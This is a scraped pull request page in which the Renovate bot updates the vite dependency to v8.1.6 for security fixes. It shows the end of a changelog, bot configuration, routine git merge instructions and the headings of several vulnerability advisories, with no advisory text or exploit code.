([65f525e](https://github.com/vitejs/vite/commit/65f525e643ba31faeaeafbc5d888b61465e6b48d)) - **html:** omit nonce on import map when cspNonce is unset ([#22713](https://github.com/vitejs/vite/issues/22713)) ([8340bb5](https://github.com/vitejs/vite/commit/8340bb51cab703427a13d5df40b0005352c1b676)) - **optimizer:** skip null-valued exports in expandGlobIds glob resolution ([#22611](https://github.com/vitejs/vite/issues/22611)) ([8b9f5cd](https://github.com/vitejs/vite/commit/8b9f5cd9f19f6002e1323b10155ab943219e86aa)) - resolved build options should be kept as a getter ([#22691](https://github.com/vitejs/vite/issues/22691)) ([3527191](https://github.com/vitejs/vite/commit/3527191cad6c935a3d129506cc9a893c84009037)) - **server:** handle malformed URI in memory files middleware ([#22714](https://github.com/vitejs/vite/issues/22714)) ([df9e0a5](https://github.com/vitejs/vite/commit/df9e0a589ff64e09c32beca9494bff4757d4ea37)) - use literal envPrefix queries for Vite Task ([#22706](https://github.com/vitejs/vite/issues/22706)) ([da72733](https://github.com/vitejs/vite/commit/da727337b13ac6144e523eb06852b2a52c377f22)) - warn on deprecated envFile ([#22555](https://github.com/vitejs/vite/issues/22555)) ([ed7b283](https://github.com/vitejs/vite/commit/ed7b28352e347dc7c95d590d2e696c3e5bd1e3d7)) - apply correct fs restrictions for pnpm gvs ([#22415](https://github.com/vitejs/vite/issues/22415)) ([092320b](https://github.com/vitejs/vite/commit/092320bfe115e4d9952a7d172bc40cd3ec14a4c3)) - **css:** support external CSS with lightningcss ([#18389](https://github.com/vitejs/vite/issues/18389)) ([d64a1a5](https://github.com/vitejs/vite/commit/d64a1a5557b3caea9469e70b647ff2c9d9def809)) - **deps:** update all non-major dependencies ([#22637](https://github.com/vitejs/vite/issues/22637)) ([44bb9d9](https://github.com/vitejs/vite/commit/44bb9d95a246011a2fba9a19cadeac4181bef1b4)) - **deps:** update all non-major dependencies ([#22681](https://github.com/vitejs/vite/issues/22681)) ([f4f0633](https://github.com/vitejs/vite/commit/f4f063382dde0d67b2158374c56443d0bf5c9501)) - **html:** insert import map before modulepreload that is not self-close tag ([#21409](https://github.com/vitejs/vite/issues/21409)) ([e399c89](https://github.com/vitejs/vite/commit/e399c89a7decff73ff42a4a01679ecc235ce6845)) - **optimizer:** preserve sourcemaps for transformed optimized deps with follow-up transforms ([#22428](https://github.com/vitejs/vite/issues/22428)) ([1298951](https://github.com/vitejs/vite/commit/1298951ebc5e5a94164c21f142fe748ca37eea68)) - use node\_modules/.vite as cacheDir when node\_modules exists ([#21777](https://github.com/vitejs/vite/issues/21777)) ([4417b4f](https://github.com/vitejs/vite/commit/4417b4f305623b2850bd6ae6553834c017694672)) ##### Documentation - clarify `loadEnv` merges `process.env` ([#22561](https://github.com/vitejs/vite/issues/22561)) ([28d8e12](https://github.com/vitejs/vite/commit/28d8e12c2620cc6a8c4426604d49606f351d6283)) ##### Miscellaneous Chores - bundle ViteTask client ([#22604](https://github.com/vitejs/vite/issues/22604)) ([00edb41](https://github.com/vitejs/vite/commit/00edb41c6f3235ce0d569a0a2c5e3b4f14c6f2b0)) - clean up eslint config ([#22616](https://github.com/vitejs/vite/issues/22616)) ([2292140](https://github.com/vitejs/vite/commit/2292140293209c81ea4474e1b538926dbd0e1054)) - correct `parseAst`/`parseAstAsync` deprecation hints ([#22656](https://github.com/vitejs/vite/issues/22656)) ([983b7e3](https://github.com/vitejs/vite/commit/983b7e39cc69d4118a3ba9accc807e32baaa7629)) - update `create-react-app` links ([#22659](https://github.com/vitejs/vite/issues/22659)) ([6ebcf6a](https://github.com/vitejs/vite/commit/6ebcf6aa84d6627df40b5339142ca3c6bf5ad1d7)) - update `es-module-lexer` to 2.0.0 ([#22288](https://github.com/vitejs/vite/issues/22288)) ([d1e8a78](https://github.com/vitejs/vite/commit/d1e8a78dcf5db2e983a82d30f5ee25e268a20013)) ##### Code Refactoring - **client:** inline dev-id value in CSS selector ([#22736](https://github.com/vitejs/vite/issues/22736)) ([57f59bc](https://github.com/vitejs/vite/commit/57f59bc843dd527a81c503684b7f408872edaef3)) - remove unused removeRawQuery util ([#22724](https://github.com/vitejs/vite/issues/22724)) ([403cc60](https://github.com/vitejs/vite/commit/403cc608e4e8633b0335f5e8221c83dfca4994f8)) - use `rolldownOptions` property for chunkImportMap ([#22692](https://github.com/vitejs/vite/issues/22692)) ([8e8816c](https://github.com/vitejs/vite/commit/8e8816ca9fa249d210150c5590bac06af3560aa7)) - include optional `bundledDev` in `DevEnvironment` instead of having a separate FBM `DevEnvironment` ([#22587](https://github.com/vitejs/vite/issues/22587)) ([5edd1d5](https://github.com/vitejs/vite/commit/5edd1d5a5b9105682246585482c6efe003b45e06)) - match import glob common base by path segment correctly ([#22558](https://github.com/vitejs/vite/issues/22558)) ([eb12604](https://github.com/vitejs/vite/commit/eb12604a0dc99cec90529e2bd13552e9a0cdef7b)) - use rolldownOptions where possible ([#21205](https://github.com/vitejs/vite/issues/21205)) ([7ca7c1b](https://github.com/vitejs/vite/commit/7ca7c1bedf0a9754e7631cbe615e41231b0aeb80)) ##### Beta Changelogs ##### [8.1.0-beta.0](https://github.com/vitejs/vite/compare/v8.0.16...v8.1.0-beta.0) (2026-06-15) See [8.1.0-beta.0 changelog](https://github.com/vitejs/vite/blob/v8.1.0-beta.0/packages/vite/CHANGELOG.md) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - "" - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://github.com/renovatebot/renovate).

renovate added 1 commit

2026-10-20 20:16:15 +00:00

Update dependency vite to v8.1.6 [SECURITY] 13a12364f5

This pull request can be merged automatically.

You are not authorized to merge this pull request.

View command line instructions

Checkout

From your project repository, check out a new branch and test the changes.

git fetch -u origin renovate/npm-vite-vulnerability:renovate/npm-vite-vulnerability

git switch renovate/npm-vite-vulnerability

Merge

Merge the changes and update on Forgejo.

Warning: The "Autodetect manual merge" setting is not enabled for this repository, you will have to mark this pull request as manually merged afterwards.

git switch main

git merge --no-ff renovate/npm-vite-vulnerability

git switch renovate/npm-vite-vulnerability

git rebase main

git switch main

git merge --ff-only renovate/npm-vite-vulnerability

git switch renovate/npm-vite-vulnerability

git rebase main

git switch main

git merge --no-ff renovate/npm-vite-vulnerability

git switch main

git merge --squash renovate/npm-vite-vulnerability

git switch main

git merge --ff-only renovate/npm-vite-vulnerability

git switch main

git merge renovate/npm-vite-vulnerability

git push origin main

No reviewers

No labels

No milestone

No project

No assignees

1 participant

Notifications

Due date

The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference

sr2/cloud-portal!16

No description provided.

Rows
Columns

Update dependency vite to v8.1.6 [SECURITY] #16

launch-editor: fs.existsSync() existence check can be bypassed on Windows

Details

Summary

Impact

Details

Severity

References

launch-editor: escapeCmdArgs() omits % escaping on Windows

Details

Summary

Impact

Details

Severity

References

Vite: Cross origin script execution through Vite custom middleware

Details

Summary

Impact

Details

PoC

Severity

References

launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors

Details

Summary

Impact

Direct launch-editor users

launch-editor-middleware users

Vite users

Details

Severity

References

Vite: Files outside server.fs.allow could be served when project paths match system paths on non-Windows machine

Details

Summary

Impact

Details

PoC

Severity

References

Release Notes

v8.1.6

v8.1.5

Features

Bug Fixes

Performance Improvements

Documentation

Miscellaneous Chores

Tests

Beta Changelogs

8.2.0-beta.0 (2026-07-22)

v8.1.4

Features

Bug Fixes

Documentation

Miscellaneous Chores

Code Refactoring

Tests

Build System

v8.1.3

Bug Fixes

v8.1.2

Bug Fixes

v8.1.1

Features

Bug Fixes

Miscellaneous Chores

Code Refactoring

Tests

v8.1.0

Features

Bug Fixes

Documentation

Miscellaneous Chores

Code Refactoring

Beta Changelogs

8.1.0-beta.0 (2026-06-15)

Configuration

Checkout

launch-editor: `fs.existsSync()` existence check can be bypassed on Windows

Direct `launch-editor` users

`launch-editor-middleware` users

Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine

`v8.1.6`

`v8.1.5`

`v8.1.4`

`v8.1.3`

`v8.1.2`

`v8.1.1`

`v8.1.0`